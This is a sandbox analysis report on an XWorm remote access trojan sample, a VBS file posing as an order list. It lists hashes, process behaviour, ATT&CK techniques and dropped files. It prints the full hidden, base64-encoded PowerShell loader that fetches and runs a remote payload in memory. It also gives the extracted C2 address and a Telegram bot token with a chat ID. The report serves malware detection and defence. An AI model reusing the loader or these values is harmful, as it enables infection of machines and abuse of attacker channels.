xworm | a65762b80a0786fc118a3ac10cc3d3cad0b3772694e85945ef03d8adf8fefc8b

Analysis

max time kernel
150s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20251231-en
resource tags

arch:x64arch:x86image:win10v2004-20251231-enlocale:en-usos:windows10-2004-x64system
submitted
15/01/2026, 07:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Samples and order list_986757x.vbs
Size 1.4MB
Sample260115-jtkd2agz4e
SHA256 a65762b80a0786fc118a3ac10cc3d3cad0b3772694e85945ef03d8adf8fefc8b
MD5 a8bfc39c97a943dff1773fa16c8c7829
SHA1 7e78ca38c75a2767afc11475eedc887835e76da7
SHA512 478a977d159d850113191f5e00a1d0f5ee32c95bda0c32cce1fe319602205a87e32a2931f51c0e6e8686a02136c1ae7e69e16fa57b314f43c78055ca3c73e938
SSDEEP 768:BuxoTNIDAIsLZBRR7TygKWl1uDBwQDuxoT76H2uKvHSgK7iTSYeMmaHjU0nKSMuA:3
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

discovery execution xworm rat trojan

Malware Config

Extracted

Family

xworm

Version

103.83.86.27:3612

Mutex

vDxrgwgM9KPO23FH

Attributes

install_file
USB.exe
telegram
https://api.telegram.org/bot8245777519:AAG5-WI0QBx284ztmox7rDowPcKbk8wEqEg/sendMessage?chat_id=7422354940

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2908-11-0x0000000000400000-0x0000000000410000-memory.dmp	family_xworm

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4488	1488	powershell.exe	87

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	4488	powershell.exe
13	4488	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4488	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1672	MSBuild.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4488 set thread context of 2908	4488	powershell.exe	90

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Msbuild.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4488	powershell.exe
4488	powershell.exe
4488	powershell.exe
4488	powershell.exe
4488	powershell.exe
4488	powershell.exe
4488	powershell.exe
4488	powershell.exe
2908	Msbuild.exe
2908	Msbuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe
1672	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4488	powershell.exe
Token: SeDebugPrivilege	2908	Msbuild.exe
Token: SeDebugPrivilege	1672	MSBuild.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2908	Msbuild.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4488 wrote to memory of 2908	4488	powershell.exe	90
PID 4488 wrote to memory of 2908	4488	powershell.exe	90
PID 4488 wrote to memory of 2908	4488	powershell.exe	90
PID 4488 wrote to memory of 2908	4488	powershell.exe	90
PID 4488 wrote to memory of 2908	4488	powershell.exe	90
PID 2908 wrote to memory of 5680	2908	Msbuild.exe	106
PID 5680 wrote to memory of 1548	5680	csc.exe	108
PID 2908 wrote to memory of 1672	2908	Msbuild.exe	109

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Samples and order list_986757x.vbs"
1⤵
PID:3464

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JAByAGUAYwBvAG4AbgBvAGkAdABlAHIAZQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHIAZQBjAG8AbgBuAG8AaQB0AGUAcgBlAGQALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAiAFUAcwBlAHIALQBBAGcAZQBuAHQAIgAsACAAIgBNAG8AegBpAGwAbABhAC8ANQAuADAAIgApADsAJAByAGUAYwBvAG4AbgBvAGkAdABlAHIAZQBkAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAiACwAIAAiAHQAZQB4AHQALwBoAHQAbQBsACwAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeABoAHQAbQBsACsAeABtAGwALABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AG0AbAA7AHEAPQAwAC4AOQAsACoALwAqADsAcQA9ADAALgA4ACIAKQA7ACQAcgBlAGMAbwBuAG4AbwBpAHQAZQByAGUAZAAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAQQBjAGMAZQBwAHQALQBMAGEAbgBnAHUAYQBnAGUAIgAsACAAIgBlAG4ALQBVAFMALABlAG4AOwBxAD0AMAAuADkAIgApADsAJABwAG8AcgBpAGYAZQByAGEAbgBzACAAPQAgACcAIwB0AHQAcABzADoALwAvAHIAZQBzAC4AYwBsAG8AdQBkAGkAbgBhAHIAeQAuAGMAbwBtAC8AZABiAGoAdAB6AHEAcAA0AHEALwBpAG0AYQBnAGUALwB1AHAAbABvAGEAZAAvAHYAMQA3ADYANwA0ADUANQAwADQAMAAvAG8AcAB0AGkAbQBpAHoAZQBkAF8ATQBTAEkAXwBsAHAAcwBkADkAcAAuAGoAcABnACcALgBSAGUAcABsAGEAYwBlACgAJwAjACcALAAgACcAaAAnACkAOwAkAGIAYQBuAGQAbwBsAGkAZQByACAAPQAgACQAcgBlAGMAbwBuAG4AbwBpAHQAZQByAGUAZAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABwAG8AcgBpAGYAZQByAGEAbgBzACkAOwAkAGIAbwB0AGEAbgBpAGMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAYQBuAGQAbwBsAGkAZQByACkAOwBpAGYAIAAoACQAYgBvAHQAYQBuAGkAYwAgAC0AbQBhAHQAYwBoACAAJwBCAGEAcwBlAFMAdABhAHIAdAAtACgALgAqAD8AKQAtAEIAYQBzAGUARQBuAGQAJwApACAAewAgACAAJAB4AGUAcgBvAHMAdABvAG0AYQAgAD0AIAAkAG0AYQB0AGMAaABlAHMAWwAxAF0AOwAgACAAJABjAGgAdQByAGMAaABsAGUAcwBzACAAPQAgAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHgAZQByAG8AcwB0AG8AbQBhACkAKQA7ACAAIAAkAGEAcgBnAHMAQgBhAHMAZQA2ADQAIAA9ACAAJwBKAHcAQQA5AEEARAAwAEEAUQBRAEIAawBBAEQAUQBBAFUAZwBCAHUAQQBFAHcAQQBjAHcAQgA0AEEARgBjAEEAWQBRAEEAegBBAEYAbwBBAGEAZwBCAE4AQQBIAGMAQQBTAFEAQgBVAEEARwBJAEEAZQBRAEEANQBBAEQASQBBAFoAQQBBADAAQQBGAFkAQQBXAEEAQgBsAEEASABZAEEAVABRAEIASQBBAEcASQBBAGEAQQBCAFcAQQBFAGMAQQBXAGcAQgAyAEEARwBzAEEAUgBBAEIAUABBAEgAZwBBAE4AQQBCAEQAQQBFADQAQQBOAEEAQQAwAEEARgBNAEEAVABRAEIANQBBAEUAVQBBAGEAZwBCAE0AQQBEAE0AQQBaAHcAQgA2AEEARQB3AEEAZABnAEIAdgBBAEUAUQBBAFkAdwBBAHcAQQBGAEkAQQBTAEEAQgBoAEEAQwBjAEEATABBAEEAbgBBAEMAYwBBAEwAQQBBAG4AQQBFAE0AQQBPAGcAQgBjAEEARgBVAEEAYwB3AEIAbABBAEgASQBBAGMAdwBCAGMAQQBGAEEAQQBkAFEAQgBpAEEARwB3AEEAYQBRAEIAagBBAEYAdwBBAFIAQQBCAHYAQQBIAGMAQQBiAGcAQgBzAEEARwA4AEEAWQBRAEIAawBBAEgATQBBAFgAQQBBAG4AQQBDAHcAQQBKAHcAQgBPAEEARwBFAEEAYgBRAEIAbABBAEYAOABBAFIAZwBCAHAAQQBHAHcAQQBaAFEAQQBuAEEAQwB3AEEASgB3AEIATgBBAEgATQBBAFkAZwBCADEAQQBHAGsAQQBiAEEAQgBrAEEAQwBjAEEATABBAEEAbgBBAEMAYwBBAEwAQQBBAG4AQQBFADAAQQBjAHcAQgBpAEEASABVAEEAYQBRAEIAcwBBAEcAUQBBAEoAdwBBAHMAQQBDAGMAQQBKAHcAQQBzAEEAQwBjAEEAVgBRAEIAUwBBAEUAdwBBAEoAdwBBAHMAQQBDAGMAQQBRAHcAQQA2AEEARgB3AEEAVgBRAEIAegBBAEcAVQBBAGMAZwBCAHoAQQBGAHcAQQBVAEEAQgAxAEEARwBJAEEAYgBBAEIAcABBAEcATQBBAFgAQQBCAEUAQQBHADgAQQBkAHcAQgB1AEEARwB3AEEAYgB3AEIAaABBAEcAUQBBAGMAdwBCAGMAQQBDAGMAQQBMAEEAQQBuAEEARQA0AEEAWQBRAEIAdABBAEcAVQBBAFgAdwBCAEcAQQBHAGsAQQBiAEEAQgBsAEEAQwBjAEEATABBAEEAbgBBAEgAWQBBAFkAZwBCAHoAQQBDAGMAQQBMAEEAQQBuAEEARABFAEEASgB3AEEAcwBBAEMAYwBBAEoAdwBBAHMAQQBDAGMAQQBWAEEAQgBoAEEASABNAEEAYQB3AEIAZgBBAEUANABBAFkAUQBCAHQAQQBHAFUAQQBKAHcAQQBzAEEAQwBjAEEATQBBAEEAbgBBAEMAdwBBAEoAdwBBAG4AQQBDAHcAQQBKAHcAQQBuAEEAQwB3AEEASgB3AEEAbgBBAEEAPQA9ACcAOwAgACAAJABhAHIAZwBzAFMAdAByAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGEAcgBnAHMAQgBhAHMAZQA2ADQAKQApADsAIAAgACQAYQByAGcAcwAgAD0AIAAkAGEAcgBnAHMAUwB0AHIAaQBuAGcAIAAtAHMAcABsAGkAdAAgACcALAAnACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAkAF8ALgBUAHIAaQBtACgAJwAnACcAIgAnACAAKQAgAH0AOwAgACAAWwBTAG8AZgB0AHcAYQByAGUALgBQAHIAbwBnAHIAYQBtAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACIATQBhAGkAbgAiACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABhAHIAZwBzACkAOwB9AA==')) | Invoke-Expression"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4488
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2908
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\MSBuild.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_6ea42973cd244c7bb2c8dcc38cecbdd3.cs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5680
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES603C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC2031079BC0FF4B5994416967B2F8F2.TMP"
      4⤵
      PID:1548
- - C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
    "C:\Users\Admin\AppData\Local\Temp\MSBuild.exe" 2908
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1672

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

MSBuild.exe

Path C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
Size 5KB
SHA256 0f975db00aff7758280785751a16213f64f0aa00c64a095edcb48d24f673456b
MD5 ccc44ad63f7e9d4f1c2d5bdea4123b5b
SHA1 961b716c3e15c46752caabfd05fe6bf7dfe6f101
SHA512 425c36d7428288f6e9e82f4456b097bc1e139436074531ef5929f2726fc733819daff0b0c94cdc3c3aabccd9197126f1472028a3d44e08a225eb9d4359b3a024
SSDEEP 96:Cdew7V9bMLEgUyXqd8BynqgHlNxjEh7yxx4zNt:CvkLwuUoyqgHj+h7Ka
TLSH
T1FDC1D54797D847BBD066073078B3035167B8E8125A7BA79F29E4137A7EB636008133F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RES603C.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES603C.tmp
Size 1KB
SHA256 60d9a9bd2a1eff4e8efc418289ab45c023e541b809dbad9a5175fe63d1a728c6
MD5 face84a71701472539a483b7b164aae6
SHA1 3341638a42ec96705d8fa38cdd6d720fa1843927
SHA512 9be57fce48afa36d72608131bf5974e61f86bb9f483e3d47294338aaba3399171d723a555261cb82c9bf8b3f263185a28a880790cdda1f43b87dfaa72199d589
TLSH
T15641034083D8471EE272433129F74719B675FE96AEAA435EB584522E6F12740CD836B2
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_cpl1ft5l.dix.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cpl1ft5l.dix.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

CSC2031079BC0FF4B5994416967B2F8F2.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\CSC2031079BC0FF4B5994416967B2F8F2.TMP
Size 1KB
SHA256 a50a6f311d400c946c1444ca8be5df32c74461ece7f9e3b2b69446225a4d633c
MD5 61ffdac7eb1b54e0938a74d4496e4656
SHA1 5cffc47f2d55e1eb59f739c1eee23d4be1c9a200
SHA512 1afdfbb13c0e91288f1d5431aa58768987407556a0d9a1e05e5f52ace77446ac0e5ddfa845e22b6ab229f779dbcb64f3d751b79daaa31893bba5589013b8e12a
TLSH
T14C21AB41A2E8421EF2B3477079F2C363A16DBE569D7A43EC7888175F2F25A1085836B1
MD5 SHA1 SHA512 TLSH

Submit Download

guardian_src_6ea42973cd244c7bb2c8dcc38cecbdd3.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_6ea42973cd244c7bb2c8dcc38cecbdd3.cs
Size 4KB
SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
MD5 b7d40eb7e1328728d647678e1ea0a4dc
SHA1 43850a88c7f012df9e7349886497271c83e2bdaa
SHA512 a531df01588357b0d669d563fada88e78b0b3d1453e40605a872e9fba6091bb46a623b0817aafab946b01f92d5810ed7eb97ed9373eaeacb9970b316278667a4
SSDEEP 96:noO1V0E4Yt1YOC3idfygNzkfK1Sg5vpVIHZZ:jl481hC3i1ygNzw5g5vpVw3
TLSH
T19F911298954DA2D69872223AFB03D15BF603103322FF9A20FEADD3505F3D0018678F69
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1672-36-0x0000000000DF0000-0x0000000000DF8000-memory.dmp

Download

memory/2908-18-0x0000000005C90000-0x0000000005D22000-memory.dmp

Download

memory/2908-24-0x0000000009B90000-0x0000000009B96000-memory.dmp

Download

memory/2908-16-0x0000000005FC0000-0x0000000006564000-memory.dmp

Download

memory/2908-17-0x0000000005A80000-0x0000000005AE6000-memory.dmp

Download

memory/2908-11-0x0000000000400000-0x0000000000410000-memory.dmp

Download

memory/2908-19-0x0000000005F60000-0x0000000005F6A000-memory.dmp

Download

memory/2908-20-0x0000000005A00000-0x0000000005A10000-memory.dmp

Download

memory/2908-22-0x0000000009AA0000-0x0000000009B1C000-memory.dmp

Download

memory/2908-21-0x0000000008BB0000-0x0000000009AAA000-memory.dmp

Download

memory/2908-23-0x0000000009B60000-0x0000000009B94000-memory.dmp

Download

memory/2908-15-0x0000000005A00000-0x0000000005A10000-memory.dmp

Download

memory/2908-14-0x0000000005800000-0x000000000589C000-memory.dmp

Download

memory/4488-1-0x0000026833D50000-0x0000026833D60000-memory.dmp

Download

memory/4488-10-0x000002684F5A0000-0x000002684F610000-memory.dmp

Download

memory/4488-7-0x0000026833D60000-0x0000026833D82000-memory.dmp

Download

memory/4488-0-0x0000026833D50000-0x0000026833D60000-memory.dmp

Download